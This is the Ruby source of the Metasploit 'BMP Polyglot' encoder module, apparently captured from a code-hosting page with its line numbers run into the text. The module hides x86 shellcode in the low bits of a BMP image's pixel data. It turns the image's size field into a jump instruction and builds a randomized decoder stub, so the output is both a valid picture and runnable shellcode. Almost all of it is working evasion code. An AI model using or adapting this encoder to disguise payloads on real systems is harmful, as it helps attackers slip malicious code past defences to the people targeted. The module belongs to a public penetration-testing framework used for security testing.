Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/encoders/x86/bmp_polyglot.rb
Views: 11779
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45require 'rex/poly'6=begin7[BITS 32]89global _start1011_start:12pushad ; backup all registers1314call get_eip ; get the value of eip15get_eip:16pop esi ; and put it into esi to use as the source17add esi, 0x30 ; advance esi to skip this decoder stub18mov edi, esi ; copy it to edi which is where to start writing19add esi, 0x1234 ; increase the source to skip any padding20mov ecx, 0x1234 ; set the byte counter2122get_byte: ; <---------------------------------------------------------\23xor eax, eax ; clear eax which is where our newly decoded byte will go |24push ecx ; preserve the byte counter |25xor ecx, ecx ; set the counter to 0 |26mov cl, 8 ; set the counter to 8 (for bits) |27get_bit: ; <------------------------------------------------------\ |28shl eax, 1 ; shift eax one to make room for the next bit | |29mov bl, byte [esi] ; read a byte from the source register | |30inc esi ; advance the source register by a byte | |31and bl, 1 ; extract the value of the least-significant bit | |32or al, bl ; put the least-significat bit into eax | |33dec ecx ; decrement the bit counter | |34jne short get_bit ; -------------------------------------------------------/ |35; |36; get bit loop is done |37pop ecx ; restore the byte counter |38mov byte [edi], al ; move the newly decoded byte to its final destination |39inc edi ; increment the destination pointer |40; |41dec ecx ; decrement the byte counter |42jne get_byte ; ----------------------------------------------------------/4344; get byte loop is done45popad ; restore all registers4647=end4849# calculate the smallest increase of a 32-bit little endian integer which is50# also a valid x86 jmp opcode of the specified minimum size.51class SizeCalculator5253BYTE_NOPS = [540x42, # inc edx550x45, # inc ebp560x4a, # dec edx570x4d, # dec ebp580x90, # xchg eax, eax / nop590xf5, # cmc600xf8, # clc610xf9, # stc620xfc, # cld630xfd # std64]6566def initialize(size, minimum_jump)67@original_size = size68raise if minimum_jump < 0 || minimum_jump > 0xff69@minimum_jump = minimum_jump70end7172def calculate73possibles = []74size = new_size_long75possibles << size unless size.nil?76size = new_size_short77possibles << size unless size.nil?78return if possibles.length == 079possibles.min80end8182def new_size_long83size = [ @original_size ].pack('V').unpack('CCCC')84850.upto(2) do |i|86byte_0 = size[i]87byte_1 = size[i + 1]88byte_2 = size[i + 2].to_i89byte_3 = size[i + 3].to_i90byte_4 = size[i + 4].to_i91min_jmp = (@minimum_jump - 5 - i)9293if byte_2 + byte_3 + byte_4 > 0 # this jmp would be too large94if byte_0 > 0xfd95size = increment_size(size, i)96end97size[i] = round_up_to_nop(byte_0)98next99end100101if byte_0 > 0xe9102if byte_0 > 0xfd103size = increment_size(size, i)104end105size[i] = round_up_to_nop(byte_0)106else107size[i] = 0xe9108byte_1 = min_jmp if byte_1 < min_jmp109size[i + 1] = byte_1110return size.pack('CCCC').unpack('V')[0]111end112end113end114115def new_size_short116return if @minimum_jump > 0x81 # short won't make it in this case (0x7f + 0.upto(2).to_a.max)117size = [ @original_size ].pack('V').unpack('CCCC')1181190.upto(2) do |i|120byte_0 = size[i]121byte_1 = size[i + 1]122min_jmp = (@minimum_jump - 2 - i)123124if byte_0 > 0xeb125if byte_0 > 0xfd126size = increment_size(size, i)127end128size[i] = round_up_to_nop(byte_0)129else130size[i] = 0xeb131if byte_1 > 0x7f132byte_1 = min_jmp133size = increment_size(size, i + 1)134elsif byte_1 < min_jmp135byte_1 = min_jmp136end137size[i + 1] = byte_1138return size.pack('CCCC').unpack('V')[0]139end140end141end142143def size_to_jmp(size)144jmp = 0145packed = [ size, 0 ].pack('VV')146147until [ "\xe9", "\xeb" ].include?(packed[0])148packed = packed[1..-1]149jmp += 1150end151152if packed[0] == "\xe9"153jmp += packed[1..4].unpack('V')[0]154jmp += 5155elsif packed[0] == "\xeb"156jmp += packed[1].unpack('C')[0]157jmp += 2158end159160jmp161end162163private164165def increment_size(size, byte)166size = size.pack('CCCC').unpack('V')[0]167size += (0x0100 << byte * 8)168[ size ].pack('V').unpack('CCCC')169end170171def round_up_to_nop(opcode)172BYTE_NOPS.find { |nop| opcode <= nop }173end174end175176class MetasploitModule < Msf::Encoder177Rank = ManualRanking178179DESTEGO_STUB_SIZE = 53180# bitmap header sizes181BM_HEADER_SIZE = 14182DIB_HEADER_SIZE = 40183184def initialize185super(186'Name' => 'BMP Polyglot',187'Description' => %q{188Encodes a payload in such a way that the resulting binary blob is both189valid x86 shellcode and a valid bitmap image file (.bmp). The selected190bitmap file to inject into must use the BM (Windows 3.1x/95/NT) header191and the 40-byte Windows 3.1x/NT BITMAPINFOHEADER. Additionally the file192must use either 24 or 32 bits per pixel as the color depth and no193compression. This encoder makes absolutely no effort to remove any194invalid characters.195},196'Author' => 'Spencer McIntyre',197'Arch' => ARCH_X86,198'License' => MSF_LICENSE,199'References' =>200[201[ 'URL' => 'https://warroom.securestate.com/bmp-x86-polyglot/' ]202]203)204205register_options(206[207OptString.new('BitmapFile', [ true, 'The .bmp file to inject into' ])208],209self.class)210end211212def can_preserve_registers?213true214end215216def preserves_stack?217true218end219220def make_pad(size)221(0...size).map { (rand(0x100)).chr }.join222end223224def modified_registers225# these two registers are modified by the initial BM header226# B 0x42 inc edx227# M 0x4d dec ebp228[229Rex::Arch::X86::EBP, Rex::Arch::X86::EDX230]231end232233# take the original size and calculate a new one that meets the following234# requirements:235# - large enough to store all of the image data and the assembly stub236# - is also a valid x86 jmp instruction to land on the assembly stub237def calc_new_size(orig_size, stub_length)238minimum_jump = BM_HEADER_SIZE + DIB_HEADER_SIZE - 2 # -2 for the offset of the size in the BM header239calc = SizeCalculator.new(orig_size + stub_length, minimum_jump)240size = calc.calculate.to_i241raise EncodingError, 'Bad .bmp, failed to calculate jmp for size' if size < orig_size242243jump = calc.size_to_jmp(size)244pre_pad = jump - minimum_jump245post_pad = size - orig_size - stub_length - pre_pad246return { :new_size => size, :post_pad => post_pad, :pre_pad => pre_pad }247end248249# calculate the least number of bits that must be modified to place the250# shellcode buffer into the image data251def calc_required_lsbs(sc_len, data_len)252return 1 if sc_len * 8 <= data_len253return 2 if sc_len * 4 <= data_len254return 4 if sc_len * 2 <= data_len255raise EncodingError, 'Bad .bmp, not enough image data for stego operation'256end257258# asm stub that will extract the payload from the least significant bits of259# the binary data which directly follows it260def make_destego_stub(shellcode_size, padding, lsbs = 1)261raise RuntimeError, 'Invalid number of storage bits' unless [1, 2, 4].include?(lsbs)262gen_regs = [ 'eax', 'ebx', 'ecx', 'edx' ].shuffle263ptr_regs = [ 'edi', 'esi' ].shuffle264# declare logical registers265dst_addr_reg = Rex::Poly::LogicalRegister::X86.new('dst_addr', ptr_regs.pop)266src_addr_reg = Rex::Poly::LogicalRegister::X86.new('src_addr', ptr_regs.pop)267ctr_reg = Rex::Poly::LogicalRegister::X86.new('ctr', gen_regs.pop)268byte_reg = Rex::Poly::LogicalRegister::X86.new('byte', gen_regs.pop)269bit_reg = Rex::Poly::LogicalRegister::X86.new('bit', gen_regs.pop)270271endb = Rex::Poly::SymbolicBlock::End.new272273get_eip_nop = Proc.new { |b| [0x90, 0x40 + b.regnum_of([bit_reg, byte_reg, dst_addr_reg, src_addr_reg].sample), 0x48 + b.regnum_of([bit_reg, byte_reg, dst_addr_reg, src_addr_reg].sample)].sample.chr }274get_eip = Proc.new { |b|275[276Proc.new { |b| "\xe8" + [0, 1].sample.chr + "\x00\x00\x00" + get_eip_nop.call(b) + (0x58 + b.regnum_of(src_addr_reg)).chr },277Proc.new { |b| "\xe8\xff\xff\xff\xff" + (0xc0 + b.regnum_of([bit_reg, byte_reg, dst_addr_reg, src_addr_reg].sample)).chr + (0x58 + b.regnum_of(src_addr_reg)).chr },278].sample.call(b)279}280set_src_addr = Proc.new { |b, o| "\x83" + (0xc0 + b.regnum_of(src_addr_reg)).chr + [ b.offset_of(endb) + o ].pack('c') }281set_dst_addr = Proc.new { |b| "\x89" + (0xc0 + (b.regnum_of(src_addr_reg) << 3) + b.regnum_of(dst_addr_reg)).chr }282set_byte_ctr = Proc.new { |b| (0xb8 + b.regnum_of(ctr_reg)).chr + [ shellcode_size ].pack('V') }283adjust_src_addr = Proc.new { |b| "\x81" + (0xc0 + b.regnum_of(src_addr_reg)).chr + [ padding ].pack('V') }284initialize = Rex::Poly::LogicalBlock.new('initialize',285Proc.new { |b| "\x60" + get_eip.call(b) + set_src_addr.call(b, -6) + set_dst_addr.call(b) + adjust_src_addr.call(b) + set_byte_ctr.call(b) },286Proc.new { |b| "\x60" + get_eip.call(b) + set_src_addr.call(b, -6) + set_dst_addr.call(b) + set_byte_ctr.call(b) + adjust_src_addr.call(b) },287Proc.new { |b| "\x60" + get_eip.call(b) + set_src_addr.call(b, -6) + set_byte_ctr.call(b) + set_dst_addr.call(b) + adjust_src_addr.call(b) },288Proc.new { |b| "\x60" + get_eip.call(b) + set_byte_ctr.call(b) + set_src_addr.call(b, -6) + set_dst_addr.call(b) + adjust_src_addr.call(b) },289Proc.new { |b| "\x60" + set_byte_ctr.call(b) + get_eip.call(b) + set_src_addr.call(b, -11) + set_dst_addr.call(b) + adjust_src_addr.call(b) },290)291292clr_byte_reg = Proc.new { |b| [0x29, 0x2b, 0x31, 0x33].sample.chr + (0xc0 + (b.regnum_of(byte_reg) << 3) + b.regnum_of(byte_reg)).chr }293clr_ctr = Proc.new { |b| [0x29, 0x2b, 0x31, 0x33].sample.chr + (0xc0 + (b.regnum_of(ctr_reg) << 3) + b.regnum_of(ctr_reg)).chr }294backup_byte_ctr = Proc.new { |b| (0x50 + b.regnum_of(ctr_reg)).chr }295set_bit_ctr = Proc.new { |b| (0xb0 + b.regnum_of(ctr_reg)).chr + (8 / lsbs).chr }296get_byte_loop = Rex::Poly::LogicalBlock.new('get_byte_loop',297Proc.new { |b| clr_byte_reg.call(b) + backup_byte_ctr.call(b) + clr_ctr.call(b) + set_bit_ctr.call(b) },298Proc.new { |b| backup_byte_ctr.call(b) + clr_byte_reg.call(b) + clr_ctr.call(b) + set_bit_ctr.call(b) },299Proc.new { |b| backup_byte_ctr.call(b) + clr_ctr.call(b) + clr_byte_reg.call(b) + set_bit_ctr.call(b) },300Proc.new { |b| backup_byte_ctr.call(b) + clr_ctr.call(b) + set_bit_ctr.call(b) + clr_byte_reg.call(b) },301)302get_byte_loop.depends_on(initialize)303304shift_byte_reg = Rex::Poly::LogicalBlock.new('shift_byte_reg',305Proc.new { |b| "\xc1" + (0xe0 + b.regnum_of(byte_reg)).chr + lsbs.chr }306)307read_byte = Rex::Poly::LogicalBlock.new('read_byte',308Proc.new { |b| "\x8a" + ((b.regnum_of(bit_reg) << 3) + b.regnum_of(src_addr_reg)).chr }309)310inc_src_reg = Rex::Poly::LogicalBlock.new('inc_src_reg',311Proc.new { |b| (0x40 + b.regnum_of(src_addr_reg)).chr }312)313inc_src_reg.depends_on(read_byte)314get_lsb = Rex::Poly::LogicalBlock.new('get_lsb',315Proc.new { |b| "\x80" + (0xe0 + b.regnum_of(bit_reg)).chr + (0xff >> (8 - lsbs)).chr }316)317get_lsb.depends_on(read_byte)318put_lsb = Rex::Poly::LogicalBlock.new('put_lsb',319Proc.new { |b| "\x08"+ (0xc0 + (b.regnum_of(bit_reg) << 3) + b.regnum_of(byte_reg)).chr }320)321put_lsb.depends_on(get_lsb, shift_byte_reg)322jmp_bit_loop_body = Rex::Poly::LogicalBlock.new('jmp_bit_loop_body')323jmp_bit_loop_body.depends_on(put_lsb, inc_src_reg)324325jmp_bit_loop = Rex::Poly::LogicalBlock.new('jmp_bit_loop',326Proc.new { |b| (0x48 + b.regnum_of(ctr_reg)).chr + "\x75" + (0xfe + -12).chr }327)328jmp_bit_loop.depends_on(jmp_bit_loop_body)329330get_bit_loop = Rex::Poly::LogicalBlock.new('get_bit_loop_body', jmp_bit_loop.generate([ Rex::Arch::X86::EBP, Rex::Arch::X86::ESP ]))331get_bit_loop.depends_on(get_byte_loop)332333put_byte = Proc.new { |b| "\x88" + (0x00 + (b.regnum_of(byte_reg) << 3) + b.regnum_of(dst_addr_reg)).chr }334inc_dst_reg = Proc.new { |b| (0x40 + b.regnum_of(dst_addr_reg)).chr }335restore_byte_ctr = Proc.new { |b| (0x58 + b.regnum_of(ctr_reg)).chr }336get_byte_post = Rex::Poly::LogicalBlock.new('get_byte_post',337Proc.new { |b| put_byte.call(b) + inc_dst_reg.call(b) + restore_byte_ctr.call(b) },338Proc.new { |b| put_byte.call(b) + restore_byte_ctr.call(b) + inc_dst_reg.call(b) },339Proc.new { |b| restore_byte_ctr.call(b) + put_byte.call(b) + inc_dst_reg.call(b) },340)341get_byte_post.depends_on(get_bit_loop)342343jmp_byte_loop_body = Rex::Poly::LogicalBlock.new('jmp_byte_loop_body',344Proc.new { |b| (0x48 + b.regnum_of(ctr_reg)).chr + "\x75" + (0xfe + -26).chr }345)346jmp_byte_loop_body.depends_on(get_byte_post)347348finalize = Rex::Poly::LogicalBlock.new('finalize', "\x61")349finalize.depends_on(jmp_byte_loop_body)350351return finalize.generate([ Rex::Arch::X86::EBP, Rex::Arch::X86::ESP ])352end353354def stegoify(shellcode, data, lsbs = 1)355clr_mask = ((0xff << lsbs) & 0xff)356set_mask = clr_mask ^ 0xff357iter_count = 8 / lsbs358359shellcode.each_char.with_index do |sc_byte, index|360sc_byte = sc_byte.ord3610.upto(iter_count - 1) do |bit_pos|362data_pos = (index * (8 / lsbs)) + bit_pos363shift = 8 - (lsbs * (bit_pos + 1))364365d_byte = data[data_pos].ord366d_byte &= clr_mask367d_byte |= ((sc_byte & (set_mask << shift)) >> shift)368data[data_pos] = d_byte.chr369end370end371372data373end374375def validate_dib_header(dib_header)376size, _, _, _, bbp, compression, _, _, _, _, _ = dib_header.unpack('VVVvvVVVVVV')377raise EncodingError, 'Bad .bmp DIB header, must be 40-byte BITMAPINFOHEADER' if size != DIB_HEADER_SIZE378raise EncodingError, 'Bad .bmp DIB header, bits per pixel must be must be either 24 or 32' if bbp != 24 && bbp != 32379raise EncodingError, 'Bad .bmp DIB header, compression can not be used' if compression != 0380end381382def encode(buf, badchars = nil, state = nil, platform = nil)383in_bmp = File.open(datastore['BitmapFile'], 'rb')384385header = in_bmp.read(BM_HEADER_SIZE)386dib_header = in_bmp.read(DIB_HEADER_SIZE)387image_data = in_bmp.read388in_bmp.close389390header, original_size, _, _, original_offset = header.unpack('vVvvV')391raise EncodingError, 'Bad .bmp header, must be 0x424D (BM)' if header != 0x4d42392validate_dib_header(dib_header)393394lsbs = calc_required_lsbs(buf.length, image_data.length)395396details = calc_new_size(original_size, DESTEGO_STUB_SIZE)397destego_stub = make_destego_stub(buf.length, details[:post_pad], lsbs)398if destego_stub.length != DESTEGO_STUB_SIZE399# this is likely a coding error caused by updating the make_destego_stub400# method but not the DESTEGO_STUB_SIZE constant401raise EncodingError, 'Bad destego stub size'402end403404pre_image_data = make_pad(details[:pre_pad]) + destego_stub + make_pad(details[:post_pad])405new_offset = original_offset + pre_image_data.length406407bmp_img = ''408bmp_img << [0x4d42, details[:new_size], 0, 0, new_offset].pack('vVvvV')409bmp_img << dib_header410bmp_img << pre_image_data411bmp_img << stegoify(buf, image_data, lsbs)412bmp_img413end414end415416417